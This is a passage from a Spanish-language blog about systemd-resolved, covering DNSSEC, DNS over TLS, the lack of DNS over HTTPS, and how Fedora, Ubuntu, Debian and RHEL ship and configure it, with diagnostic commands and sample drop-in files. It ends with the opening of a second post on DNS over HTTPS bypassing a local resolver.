saber antes de ponerlo en una máquina a la que no puedes acercarte andando.\nProbé DoT estricto contra Quad9 desde esta caja y la consulta se colgó. Sin error, sin timeout, nada en el journal entre el vaciado y mi marcha atrás dos minutos después:\nSep 27 17:12:11 systemd-resolved[40105]: wlp4s0: Bus client set DNS server list to: 9.9.9.9#dns.quad9.net, ... Sep 27 17:12:14 systemd-resolved[40105]: wlp4s0: Bus client set DNSOverTLS setting: yes Sep 27 17:12:15 systemd-resolved[40105]: Flushed all caches. Sep 27 17:14:39 systemd-resolved[40105]: wlp4s0: Bus client set DNS server list to: 192.0.2.53, ... No puedo decirte desde aquí si el puerto 853 es alcanzable en esa conexión, porque la shell desde la que hice la prueba tampoco alcanzaba el puerto 443 y estaba claramente filtrada ella misma. Lo que el log sí muestra es el modo de fallo: el DoT estricto que no puede conectar no reporta nada útil. Espera. Si activas esto y tu DNS se queda mudo, comprueba ss -tn dport = :853 antes de ir a mirar resolved.\nProbarlo como es debido # does the transport actually come up resolvectl flush-caches resolvectl query ietf.org # expect: acquired via ... encrypted transport: yes # is anything still going out in the clear sudo tcpdump -ni any \u0026#39;port 53 and not host 127.0.0.53\u0026#39; El segundo comando es el que dice la verdad. Con DoT funcionando, nada debería salir de la máquina por el puerto 53, y cualquier cosa que salga es un programa que ha encontrado la forma de rodear el stub.\nDNS sobre HTTPS no existe aquí Respuesta directa a la pregunta: systemd-resolved no soporta DNS sobre HTTPS. Ni parcialmente, ni detrás de un flag, ni con una opción de compilación que nadie activa. Ahí dentro no hay DoH en absoluto.\nY eso no se lee de la documentación, que podría estar simplemente desfasada. Es lo que contiene el binario:\n$ strings /usr/lib/systemd/systemd-resolved | grep -icE \u0026#39;application/dns-message|dns-query|:443\u0026#39; 0 $ grep -oE \u0026#39;name=\u0026#34;DNSOver[A-Za-z]*\u0026#34;\u0026#39; /usr/share/dbus-1/interfaces/org.freedesktop.resolve1.Manager.xml name=\u0026#34;DNSOverTLS\u0026#34; Ningún formato de cable DoH, nada de HTTP/2, una sola propiedad de cifrado en la interfaz D-Bus y es TLS. La lista completa de directivas de resolved.conf en upstream llega a diecisiete ajustes y ninguno menciona HTTPS.6\nSe ha pedido. La incidencia #8639, «Add support for DNS-over-HTTPS to systemd-resolved», se abrió el 2 de abril de 2018 y sigue abierta, con dos pull requests adjuntas y nada fusionado.11 Ocho años y subiendo.\nMisma carga, mismo cifrado, puerto distinto AMBOS LLEVAN LA MISMA CONSULTA DNS, DENTRO DEL MISMO TLS DNS sobre TLS DNS sobre HTTPS tcp/853 tcp/443 En systemd-resolved sí, desde v239 no, en absoluto Un observador ve los nombres no no Una red puede bloquearlo sí, tiene puerto propio no sin dolor Puedes auditar el tuyo sí no Pedido en la incidencia 8639 de systemd, abril de 2018. Sigue abierta. Misma carga, mismo cifrado. La diferencia es en qué puerto va, y quién puede saberlo ¿Es una decisión equivocada? No evidentemente, y el argumento a favor de DoT es decente. Ambos llevan DNS dentro de TLS y ambos detienen al mismo observador pasivo. La ventaja de DoH es que se esconde en el puerto 443 con todo lo demás, así que una red que quiera bloquear el DNS cifrado tiene que trabajar mucho más. Eso es genuinamente útil si el operador de la red es el adversario.\nCorta también en la otra dirección. Cuando el operador eres tú, esa indistinguibilidad significa que tampoco puedes auditar tu propio DNS, y cada aplicación que trae su propio cliente DoH deja de usar el resolver del sistema, que es como acabas con un navegador que ignora tu split DNS, tu caché y tus zonas internas. En tus propios cacharros, un resolver visible en un puerto conocido es una ventaja.\nAsí que: si DoT llega a tu resolver, úsalo y no pierdes nada. Si el puerto 853 está bloqueado, resolved no tiene respuesta y lo que quieres es un proxy DoH delante, dnscrypt-proxy o cloudflared en el loopback con resolved apuntado a él. El cacheo y la validación siguen siendo trabajo de resolved. Solo se mueve el transporte.\nQué trae de verdad tu distribución El mismo demonio se comporta de forma muy distinta según quién lo empaquetó. Habilitar el servicio es la mitad fácil. La mitad que se salta la gente es enchufarlo a las herramientas de red que la distribución usa de verdad, y en una de estas cuatro genuinamente no está enchufado hasta que lo haces tú.\nInstalado Habilitado nss-resolve conectado La configuración llega vía Soportado Fedora (33+) sí sí sí, en systemd-libs NetworkManager sí Ubuntu sí sí sí netplan, luego NM o networkd sí Debian (12+) paquete aparte no no, paquete aparte eliges tú y lo conectas tú sí RHEL / Rocky / Alma (9, 10) sí no sí NetworkManager, una vez avisado Technology Preview Validación y caché completa: los ajustes en sí Son las mismas cuatro líneas en todas partes, porque resolved.conf es resolved.conf en cada distribución. Lo único que cambia es cómo llega el resto de la configuración al demonio, que son las siguientes cuatro secciones.\n# /etc/systemd/resolved.conf.d/60-local.conf [Resolve] DNSSEC=allow-downgrade Cache=yes CacheFromLocalhost=no StaleRetentionSec=1d Usa un drop-in en vez de editar /etc/systemd/resolved.conf, porque el fichero principal tiene menos precedencia que cualquier drop-in y una actualización de paquete puede discutírtelo. La numeración es una convención documentada: los fabricantes se quedan del 10 al 40 bajo /usr/, tú te quedas del 60 al 90 bajo /etc/, así que gana lo tuyo.6\nEn systemd 261 y posteriores hay una quinta línea que merece añadir, porque hasta entonces el tamaño de la caché no era ajustable en absoluto:\nDNSCacheSize=16384 # systemd 261+; default 4096, max 2^24 Aplícalo y confirma que el demonio está de acuerdo con el fichero, en vez de suponer que lo leyó:\nsystemd-analyze cat-config systemd/resolved.conf # every fragment, in precedence order systemctl restart systemd-resolved resolvectl status | grep -E \u0026#39;DNSSEC|Protocols\u0026#39; resolvectl statistics # verdicts should start moving DNSSEC=allow-downgrade es el ajuste que pondría en una máquina a la que no voy a hacer de niñera, por las razones de la sección anterior. DNSSEC=yes es el honesto y falla cerrando. Elige a conciencia.\nConectarlo a la pila de red Encender el servicio es un comando. Conseguir que las propias herramientas de red de tu distribución le entreguen su configuración de DNS es la parte que varía, y es donde «habilitado» y «funcionando como es debido» se separan.\nDe dónde viene la configuración DNS Para activar DNSSEC Para dimensionar la caché Cableado extra necesario Fedora NetworkManager, automáticamente drop-in drop-in ninguno Ubuntu netplan, luego NM o networkd drop-in, o por enlace en .network drop-in ninguno Debian la pila que hayas elegido drop-in, o por enlace en .network drop-in libnss-resolve, más la pila de abajo Familia RHEL NetworkManager, una vez avisado drop-in drop-in dns=systemd-resolved Fedora La integración más completa de las cuatro, y la única donde todo ya está enchufado.\nNetworkManager es dueño de la red y le entrega el DNS a resolved sin que nadie se lo diga. En esta caja no hay ninguna línea dns= en ningún sitio de /etc/NetworkManager/ y aun así funciona, porque NetworkManager detecta el demonio en marcha y lo usa. /etc/resolv.conf es el enlace simbólico al stub, y glibc está conectado porque libnss_resolve.so.2 viene en systemd-libs, que no es opcional:\n$ rpm -qf /usr/lib64/libnss_resolve.so.2 systemd-libs-259.9-1.fc44.x86_64 $ grep ^hosts: /etc/nsswitch.conf hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns Así que en Fedora el drop-in de arriba es el trabajo entero. Nada más que conectar.\nUbuntu Habilitado por defecto, y nss-resolve está conectado de la misma forma. La diferencia es que la configuración suele llegar por netplan:\nnetwork: version: 2 ethernets: enp1s0: dhcp4: true nameservers: addresses: [9.9.9.9, 149.112.112.112] search: [example.com] Netplan se lo entrega a su renderizador, NetworkManager en escritorio o systemd-networkd en servidor, y el renderizador se lo entrega a resolved. Fíjate en lo que netplan no puede expresar. No hay clave de netplan para DNSSEC=, ni ninguna para DNSOverTLS=. Esas van en el drop-in de arriba, que es donde les corresponde de todos modos.\nSi estás con systemd-networkd, los ajustes por enlace también están disponibles de forma nativa en el fichero .network, y un ajuste por enlace gana al global:\n# /etc/systemd/network/10-lan.network [Network] DNS=9.9.9.9#dns.quad9.net DNSSEC=yes DNSOverTLS=yes Domains=~. Debian hay que conectarlo a mano Esta es la que genuinamente no está enchufada, y la razón de que exista la sección de arriba.\nDesde Debian 12 systemd-resolved es un paquete aparte, y las notas de la versión son explícitas sobre la actualización: «The new systemd-resolved package will not be installed automatically on upgrades», y «until it has been installed, DNS resolution might no longer work since the service will not be present on the system.»12 Las mismas notas zanjan la cuestión más amplia: «systemd-resolved was not, and still is not, the default DNS resolver in Debian.»\nInstalarlo son tres paquetes, no uno, y el segundo es el que todo el mundo se salta:\napt install systemd-resolved libnss-resolve systemctl enable --now systemd-resolved libnss-resolve está solo como Suggests:, no como dependencia,13 y Suggests es la única relación sobre la que apt no actúa. Así que nadie lo instala.\nLa razón de que nadie se dé cuenta es más interesante que la razón de que nadie lo instale. Déjalo fuera y glibc sigue llegando a resolved, porque /etc/resolv.conf apunta al stub y el nss-dns simple habla con él. La mayor parte del demonio sigue funcionando:\nSin libnss-resolve Con él Caché Sí, vía el stub Sí Validación DNSSEC Sí, ocurre en el demonio Sí DNS sobre TLS Sí Sí El bit AD llega a glibc Sí, resolv.conf lleva trust-ad Sí Seguro contra inseguro contra espurio No, un solo bit Sí Direcciones con ámbito de enlace No Sí El demonio lee /etc/hosts No Sí Nada en la columna izquierda parece roto, así que nada se arregla. Lo que pierdes es lo que el formato de cable de DNS no puede llevar, y el caso más claro es una dirección con un ámbito encima:\n$ getent hosts _gateway # via nss-resolve fe80::5054:ff:fe12:3456 _gateway $ dig +short @127.0.0.53 _gateway # via the stub, as nss-dns would 192.0.2.1 Mismo nombre, mismo demonio, dos respuestas distintas. Una dirección IPv6 de enlace local no significa nada sin la interfaz a la que está acotada, y no hay ningún sitio en una respuesta DNS donde poner eso, así que el stub solo puede devolver la IPv4. La API nativa sí tiene dónde ponerlo y te da la dirección que de verdad querías.\nLa fila del veredicto es el mismo problema. AD es un bit, firmado o no. La API nativa separa seguro de inseguro de espurio, que es la diferencia entre «nadie firmó esto» y «alguien firmó esto y otro alguien lo ha estado toqueteando». Una aplicación a la que le importe no puede distinguirlos por el cable.\nEsa es la brecha entre el servicio corriendo y el servicio enchufado, y se queda invisible hasta que vas a buscarla.\nComprueba que cuajó:\ngrep ^hosts: /etc/nsswitch.conf # wants \u0026#39;resolve [!UNAVAIL=return] dns\u0026#39; Cuatro formas de entrar en Debian, y la que no te viene instalada DE DÓNDE VIENE LA CONFIGURACIÓN CÓMO ENTRA EL DEMONIO ifupdown, estática ifupdown, DHCP systemd-networkd NetworkManager shim de resolvconf = resolvectl resolved 127.0.0.53 Y LA PARTE QUE NADIE INSTALA glibc getaddrinfo() libnss-resolve Solo Suggests: sin él glibc sigue funcionando, y el veredicto nunca le llega. Cuatro formas de entrar en Debian, y la que no te viene instalada Cómo llega hasta él el resto de tu red depende de en cuál de las pilas de Debian estés.\nEl paquete declara Provides: resolvconf y Conflicts: resolvconf, openresolv,13 así que se queda con la interfaz de resolvconf por completo. /usr/sbin/resolvconf pasa a ser un enlace simbólico a resolvectl, que es un binario multillamada: invocado bajo ese nombre habla el protocolo de resolvconf(8) y empuja todo lo que le dan directo a resolved.14 Cualquier cosa que ya llame a resolvconf -a sigue funcionando sin modificar, con systemd-resolved como único backend soportado.\nNo sobrevive toda la interfaz, y los huecos fallan ruidosamente en vez de en silencio:\nOpción de resolvconf Bajo systemd-resolved -a \u0026lt;iface\u0026gt; Registra DNS por enlace leído de stdin. La que importa -d \u0026lt;iface\u0026gt; Desregistra, igual que resolvectl revert -x Mapeada a un dominio de enrutado ~. -p Marca el enlace como no ruta por defecto (systemd 257+) -f Hace que -a y -d se callen sobre una interfaz que no está -m Aceptada y silenciosamente ignorada -u, -i, -I, -l, -r, -R, -v, -V No soportadas. El comando falla Una trampa que conviene conocer antes de depurarla: el shim solo escribe /etc/resolv.conf cuando ese fichero es un enlace simbólico a /run/systemd/resolve/resolv.conf, y no cuando es un fichero estático.14\nifupdown, lo de serie en una instalación de servidor Debian. La estrofa dns-nameservers de /etc/network/interfaces siempre la implementaron los hooks del viejo paquete resolvconf, y systemd-resolved entra en conflicto con ese paquete y no trae hooks propios en /etc/network/if-up.d/. Para una interfaz estática, no te fíes de la estrofa. Pon los servidores en el enlace explícitamente y deja que resolved sea su dueño:\n# /etc/network/interfaces auto enp1s0 iface enp1s0 inet static address 192.0.2.10/24 gateway 192.0.2.1 up /usr/sbin/resolvconf -a $IFACE \u0026lt;\u0026lt;\u0026lt; \u0026#39;nameserver 192.0.2.53\u0026#39; down /usr/sbin/resolvconf -d $IFACE DHCP sobre ifupdown ya está resuelto. isc-dhcp-client trae hooks con el nombre del demonio, /etc/dhcp/dhclient-enter-hooks.d/resolved-enter y /etc/dhcp/dhclient-exit-hooks.d/resolved,15 así que los servidores DNS de una concesión aterrizan en el enlace correcto sin nada que configurar.\nsystemd-networkd es la opción más limpia y no necesita shim alguno, porque las dos mitades son el mismo proyecto. El DNS por enlace, DNSSEC y DoT son claves nativas del fichero .network, exactamente como en el ejemplo de Ubuntu de arriba.\nNetworkManager, en un escritorio Debian, necesita que se lo digas una vez:\n# /etc/NetworkManager/conf.d/10-resolved.conf [main] dns=systemd-resolved Elige una y ten claro cuál elegiste. El modo de fallo aquí no es un demonio que se niega a arrancar, son dos pilas que creen ambas ser dueñas de /etc/resolv.conf, lo que se lee como DNS intermitente y te gasta una tarde. resolvectl status dice en qué enlace aterrizaron los servidores. Si la respuesta es en ninguno, nada está alimentando al demonio, y ese es el fallo.\nRHEL, Rocky y Alma Y aquí está la que merece leerse dos veces. El paquete está ahí, nss-resolve está disponible, NetworkManager puede manejarlo, y la documentación de Red Hat dice esto:\nsystemd-resolved is an unsupported Technology Preview.16\nEsa redacción lleva en las notas de la versión de RHEL 9 desde la 9.0 y sigue ahí en la 9.8. Technology Preview significa que no hay SLA de producción, y Red Hat explícitamente no lo recomienda para uso en producción.\nTampoco está habilitado. NetworkManager es dueño de resolv.conf en estos sistemas, así que encenderlo es un ajuste de NetworkManager y no solo habilitar la unidad:\n# /etc/NetworkManager/conf.d/10-resolved.conf [main] dns=systemd-resolved systemctl enable --now systemd-resolved systemctl reload NetworkManager resolvectl status # confirm NM actually handed the servers over Después de eso el drop-in de arriba se aplica sin cambios, y la validación y la caché se comportan exactamente igual que en Fedora.\nAsí que en RHEL tienes una decisión que no existe en las otras. ¿Quieres un resolver local validador, con caché y capaz de split DNS en una caja RHEL soportada? Entonces la respuesta soportada no es esta. Es unbound, o dnsmasq a través del propio dns=dnsmasq de NetworkManager, por los que Red Hat sí va a responder.\nLa etiqueta no es un comentario sobre el código. Es un comentario sobre qué va a respaldar Red Hat con un SLA, y un resolver con caché y validación es una cosa sobre la que los clientes abren tickets. Bastante justo. Pero si estás comprando RHEL por el soporte, ejecutar la resolución de nombres sobre un componente no soportado es una decisión que hay que tomar a conciencia y dejar por escrito, no una en la que hay que caer por inercia porque estaba en el repositorio.\nNada está realmente capado, y así se demuestra La premisa merece ponerse a prueba, porque «mi distro lo desactivó, voy a tener que recompilar» es el acto reflejo y aquí está equivocado.\nsystemd tiene dos tipos de opción de compilación completamente distintos, y se habla de ellos como si fueran uno:17\nOpción de compilación Tipo Upstream Fedora Debian y Ubuntu Cambiable en tiempo de ejecución resolve capacidad activa compilada true no, y ambas la compilan nss-resolve capacidad habilitada compilada, viene en systemd-libs enabled, viene como libnss-resolve no, y ambas la compilan dns-over-tls capacidad auto auto, resuelve a OpenSSL openssl no, y ambas la compilan dentro openssl capacidad habilitada enabled enabled no, y ambas la habilitan default-dnssec solo valor por defecto allow-downgrade no no sí, en un drop-in default-dns-over-tls solo valor por defecto no no el de upstream sí, en un drop-in default-mdns solo valor por defecto yes no no sí, en un drop-in default-llmnr solo valor por defecto yes resolve no sí, en un drop-in Lee la última columna. Cada ajuste del que se ha quejado esta entrada está en la mitad de abajo, y cada uno es un valor por defecto, no una capacidad. El código está compilado dentro en ambas. Nadie quitó nada.\nLa prueba está más arriba en esta entrada y no necesitó compilador. Sobre el paquete Fedora de serie, con DNSSEC=no cocido dentro, un comando encendió la validación y funcionó entera: una zona firmada autenticada, una sin firmar reportada honestamente, una rota rechazada con un diagnóstico preciso. Si hubiera estado compilada fuera, resolvectl status no habría dicho nunca yes/supported.\nAsí que comprueba tu propia build antes de echar mano de una cadena de compilación:\n# is the crypto there at all systemctl --version | tr \u0026#39; \u0026#39; \u0026#39;\\n\u0026#39; | grep -E \u0026#39;^[+-](OPENSSL|GNUTLS|GCRYPT)$\u0026#39; # ask for the feature and read back what the daemon says it can do resolvectl dnssec \u0026lt;link\u0026gt; yes resolvectl status \u0026lt;link\u0026gt; | grep DNSSEC # yes/supported means the code is there En esta caja Fedora eso es -GCRYPT +GNUTLS +OPENSSL, que sobra: DNSSEC necesita uno de ellos y DoT está compilado contra OpenSSL.\nLo que las distribuciones sí quitan de verdad Hay una cosa que ambas quitan, y no está en la lista de la que se queja nadie.\nUpstream compila dentro del binario una lista de servidores DNS de respaldo: Cloudflare, Google y Quad9.17 Tanto Fedora como Debian compilan con -Ddns-servers= puesto a nada, y puedes confirmarlo sobre el binario que se distribuye en vez de creerme a mí:\n$ strings /usr/lib/systemd/systemd-resolved | grep -ciE \u0026#39;quad9|one\\.one\\.one|dns\\.google\u0026#39; 0 Nada. Ningún hiperescalar cocido dentro del ejecutable.\nEse es el único sitio donde ambas distribuciones han mejorado a upstream, y merece decirse con claridad dado cuánto de esta entrada ha ido sobre valores por defecto que creo equivocados. Una máquina que pierde su configuración de DNS debería fallar ruidosamente y esperarte. No debería enrutar calladamente cada nombre que buscas a un resolver de otra jurisdicción que tú nunca elegiste. ¿Quieres un respaldo? Pon FallbackDNS= y elige quién es.\nSi de verdad necesitas recompilar Existe un caso real: una build mínima o embebida donde alguien pasó -Ddns-over-tls=false y el transporte está genuinamente ausente. Compruébalo primero con los comandos de arriba, porque es raro y tiene el mismo aspecto que el ajuste estando simplemente apagado.\nSi de verdad lo necesitas, recompila el paquete, nunca make install:\n# Fedora dnf download --source systemd rpmbuild --rebuild --define \u0026#39;_with_upstream 1\u0026#39; systemd-*.src.rpm # Debian and Ubuntu apt source systemd cd systemd-*/ \u0026amp;\u0026amp; editor debian/rules # change the -Ddefault-* flags dpkg-buildpackage -us -uc -b No he ejecutado ninguno de los dos en esta máquina, así que trátalos como la forma del trabajo, no como una receta probada. Lo que importa es el principio. systemd es el PID 1, y un make install hecho a mano sobre la copia de tu distribución lo saca del gestor de paquetes: se acabaron las actualizaciones de seguridad, y la siguiente actualización se pelea contigo por los ficheros. Compilar el paquete conserva ambas cosas. Para casi todo el mundo la respuesta honesta es que un drop-in de cuatro líneas hace el mismo trabajo en veinte segundos, que es por lo que esta sección existe sobre todo para disuadirte.\nTres configuraciones que merece la pena usar No un menú de todas las opciones. Tres posturas, cada una de las cuales defendería de verdad.\nPortátil, redes hostiles Servidor, tu propia red Estricta De qué te defiendes De la cafetería y del portal del hotel De nada local; el de arriba ya valida De un camino de resolución en el que no confías DNSSEC= allow-downgrade no yes DNSOverTLS= opportunistic no yes StaleRetentionSec= 1d 1d sin poner Sobrevive a un portal cautivo Sí n/a No Sobrevive a un .arpa filtrado Sí Sí No Sobrevive al puerto 853 bloqueado Sí n/a No Un atacante puede degradarla Sí, ambos ajustes n/a No Un portátil en redes que no controlas. Cifra el transporte, y asume el riesgo de degradación a cambio de que la cosa siga funcionando detrás de un portal cautivo.\n# /etc/systemd/resolved.conf.d/60-local.conf [Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=opportunistic DNSSEC=allow-downgrade Cache=yes StaleRetentionSec=1d Un servidor en una red que sí llevas tú, validando arriba. Ya ocurrió a un salto de distancia. No lo hagas dos veces, y no cojas una dependencia de un resolver público.\n[Resolve] DNSSEC=no DNSOverTLS=no Cache=yes CacheFromLocalhost=no StaleRetentionSec=1d Una máquina donde quieres lo de verdad. Estricto en ambos frentes, nada que un atacante pueda degradar, y has comprobado que el de arriba puede llevarlo.\n[Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=yes DNSSEC=yes Cache=yes Esa tercera va a romper el DNS inverso si algo en tu camino filtra .arpa, va a romperse del todo si el puerto 853 está bloqueado, y falla cerrando en vez de calladamente. Esos son los términos. Conócelos antes de desplegarla, no después, porque una caja que no puede resolver nada es un viaje largo en coche si no está en la habitación de al lado.\nElijas la que elijas, aplícala y luego comprueba qué decidió el demonio de verdad, no lo que escribiste:\nsystemd-analyze cat-config systemd/resolved.conf # every file, in order systemctl restart systemd-resolved resolvectl status # the state it is really in resolvectl status es el oráculo aquí, igual que la build es el oráculo de un sitio Hugo. Un ajuste en un fichero es una intención. Lo que imprime status es lo que está pasando.\nEl resto de los verbos merece conocerse, porque entre todos responden a casi cualquier pregunta que vayas a tener sobre este demonio sin leer un log:\nComando Qué te dice resolvectl status Servidores, dominios y protocolos por enlace, y el estado vivo de DNSSEC y DoT resolvectl query NOMBRE La respuesta, el protocolo usado, el veredicto DNSSEC, y si vino de la caché resolvectl statistics Aciertos de caché frente a fallos, y el recuento en marcha de seguro/inseguro/espurio resolvectl show-cache Todo lo cacheado ahora mismo, por ámbito resolvectl flush-caches Vacía la caché sin reiniciar el demonio resolvectl dns LINK ... Fija servidores en un enlace en tiempo de ejecución, sin fichero de configuración resolvectl dnssec LINK yes Enciende la validación en un enlace, para probar antes de comprometerte resolvectl domain LINK ~x Fija dominios de enrutado y de búsqueda en un enlace resolvectl revert LINK Tira a la basura todos los cambios en tiempo de ejecución de ese enlace resolvectl show-server-state Sondeo de funciones por servidor: qué se encontró que soporta cada uno de arriba resolvectl monitor Mira consultas y respuestas en vivo, lo que le gana a adivinar Todo lo del bloque central es solo de tiempo de ejecución y no sobrevive a que un enlace vuelva a levantarse, lo que lo convierte en la forma correcta de probar un ajuste antes de escribirlo en un drop-in. También significa que nmcli device reapply deshará calladamente tus pruebas, así que comprueba status después, no antes.\nLos valores por defecto son una postura, no un accidente Tres funciones en la caja. Una encendida.\nEs tentador leer eso como pereza. No lo es. Cada uno de esos valores por defecto lo discutió gente que veía la cola de incidencias al otro lado de la decisión, y Fedora al menos escribió honestamente que no podía con la carga de soporte. Esa es una restricción real y no voy a fingir lo contrario.\nPero un valor por defecto es una postura, y esta dice que una consulta que nadie puede verificar es algo aceptable sobre lo que construir. Tenemos el estándar desde 2005. Los registros publican los registros gratis, el resolver de tu máquina lo implementa entero, y la razón de que esté de brazos cruzados es que demasiada parte de internet nunca firmó nada, así que encenderlo hace que tu máquina sea la que parece rota. Esa es la forma de todo estándar que nadie hace cumplir. Hacerlo como es debido es un coste que cargas tú solo, y el beneficio solo aparece cuando lo han cargado bastantes más.\nQue es por lo que el censo es la parte de esto sobre la que yo de verdad iría a actuar. No los ajustes. Los ajustes son veinte minutos. El censo dice que las organizaciones que publican las guías, distribuyen el resolver y alojan el código fuente del mundo en su mayoría no han firmado sus propias zonas, y que gov.uk firmó el ápice y luego apuntó la única web que nadie puede evitar usar a una delegación sin firmar. Alguien hizo la parte difícil y luego nunca comprobó el nombre que la gente teclea.\nSolo puedes arreglar lo tuyo. Si llevas una zona, fírmala, deposita el DS, y luego ve a buscar el nombre www como lo haría un visitante y confirma que la cadena sobrevive hasta el final. Es una tarde. Haz eso y el argumento a favor de la validación deja de ser teórico para todo el que resuelva tu nombre, que es la única parte de esto que cualquiera de nosotros puede de verdad remendar.\nsystemd-resolved.service(8) — «implements a caching and validating DNS/DNSSEC stub resolver»; las cuatro interfaces de cliente, los dos stubs a la escucha, los registros sintéticos, las reglas de enrutado y los cuatro modos de /etc/resolv.conf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), tal como viene en systemd 259.9 en Fedora 44 — DNSSEC=, DNSOverTLS=, Cache=, CacheFromLocalhost=, StaleRetentionSec= y la descripción del stub proxy de 127.0.0.54.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5) — DNSCacheSize=, MulticastDNSCacheSize= y LLMNRCacheSize=, «Each defaults to 4096», añadidos en systemd 261.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 5737 — «IPv4 Address Blocks Reserved for Documentation»: 192.0.2.0/24, 198.51.100.0/24 y 203.0.113.0/24.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3849 — 2001:DB8::/32 reservado para documentación, «to reduce the likelihood of conflict and confusion when relating documented examples to deployed systems».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), upstream latest — DNSSEC= «Defaults to allow-downgrade», DNSOverTLS= «Defaults to no», la convención de numeración de los drop-in, y la lista completa de directivas sin ninguna opción de DNS sobre HTTPS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora systemd.spec, rawhide — los flags de compilación de meson -Ddefault-dnssec=no, -Ddefault-dns-over-tls=no, -Ddefault-mdns=no, -Ddefault-llmnr=resolve.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian systemd packaging, debian/rules — -Ddefault-dnssec=no, -Ddefault-llmnr=no, -Ddefault-mdns=no, -Ddns-over-tls=openssl. El systemd de Ubuntu deriva de este empaquetado.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Change: systemd-resolved — Fedora 33 lo hizo el resolver por defecto; cambia el valor por defecto «from the upstream default DNSSEC=allow-downgrade to DNSSEC=no» porque la función «is known to cause compatibility problems with certain network access points» y Fedora «is not prepared to handle an influx of DNSSEC-related bug reports».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Magazine — Use DNS over TLS — la configuración DNSOverTLS=yes recomendada, dada con direcciones IP a secas y sin la forma #hostname para SNI.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd issue #8639 — «Add support for DNS-over-HTTPS to systemd-resolved», abierta el 2 de abril de 2018, todavía abierta.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian 12 release notes, 5.2.3 — «The new systemd-resolved package will not be installed automatically on upgrades»; «until it has been installed, DNS resolution might no longer work»; «systemd-resolved was not, and still is not, the default DNS resolver in Debian.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian systemd packaging, debian/control — la estrofa de systemd-resolved: Provides: resolvconf, Conflicts: resolvconf, openresolv, Replaces: resolvconf, y libnss-resolve listado solo bajo Suggests:.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolvconf(1), the resolvectl compatibility mode — resolvectl «is a multi-call binary. When invoked as \u0026lsquo;resolvconf\u0026rsquo; \u0026hellip; it is run in a limited resolvconf(8) compatibility mode»; systemd-resolved «is the only supported backend»; qué opciones están soportadas, ignoradas o rechazadas; y la regla de que /etc/resolv.conf solo se escribe cuando es un enlace simbólico a /run/systemd/resolve/resolv.conf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian isc-dhcp-client file list — trae /etc/dhcp/dhclient-enter-hooks.d/resolved-enter y /etc/dhcp/dhclient-exit-hooks.d/resolved.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRHEL 9.4 release notes, Technology Previews — «Note that systemd-resolved is an unsupported Technology Preview.» Arrastrado sin cambios desde RHEL 9.0 hasta 9.8.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd meson_options.txt — la división entre opciones de capacidad (resolve, nss-resolve, dns-over-tls, openssl) y opciones de valor por defecto (default-dnssec, default-dns-over-tls, default-mdns, default-llmnr), y la lista de respaldo dns-servers compilada dentro.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/dns/resolved-the-resolver-you-are-already-running/","summary":"systemd-resolved está corriendo ahora mismo en casi todo escritorio Linux, cacheando cada consulta y sin validar ninguna. Esto recorre el camino de resolución desde nss-resolve hasta los dos stubs a la escucha, mide lo que vale la caché en una máquina real, activa DNSSEC y muestra los tres veredictos que puede devolver, y explica por qué la validación viene apagada cuando upstream la trae encendida. Luego, un censo de lo poco que está firmado de la web, DNS sobre TLS y su trampa de estricto contra oportunista, y el soporte de DNS sobre HTTPS que se pide desde 2018 y sigue sin existir. Termina con qué trae Fedora, Ubuntu, Debian y la familia RHEL, cómo conectarlo en cada una, y por qué las funciones que tu distribución desactivó son valores por defecto y no código que falte.","title":"Resolved: el resolver que ya estás ejecutando"},{"content":"Hay una forma de que cualquier cosa en tu red resuelva un nombre sin que tu servidor DNS oiga nunca la pregunta. Ningún ajuste cambiado en la máquina, ningún permiso de administrador, nada que encuentres en un registro. La consulta sale como una petición HTTPS normal por el puerto 443, va a un resolver en algún lugar de internet y vuelve con una respuesta que tu propio resolver se habría negado a dar.\nLa lista de bloqueo nunca salta. El feed de amenazas nunca recibe la consulta. La línea de registro que habrías ido a buscar nunca se escribió.\nSe llama DNS over HTTPS, DoH para abreviar, y se construyó por una buena razón. El DNS normal viaja en texto claro por el puerto 53, así que la cafetería, el aeropuerto y tu proveedor de internet pueden leer cada nombre que resuelves y cambiar las respuestas si les apetece. DoH envuelve la consulta en el mismo cifrado que el resto de la web y la esconde entre la multitud. Como medida de privacidad para una persona en una red hostil, hace exactamente lo que dice.\nEl problema es que aquello que derrota y aquello de lo que dependes son lo mismo.\nTu resolver no es solo un servicio 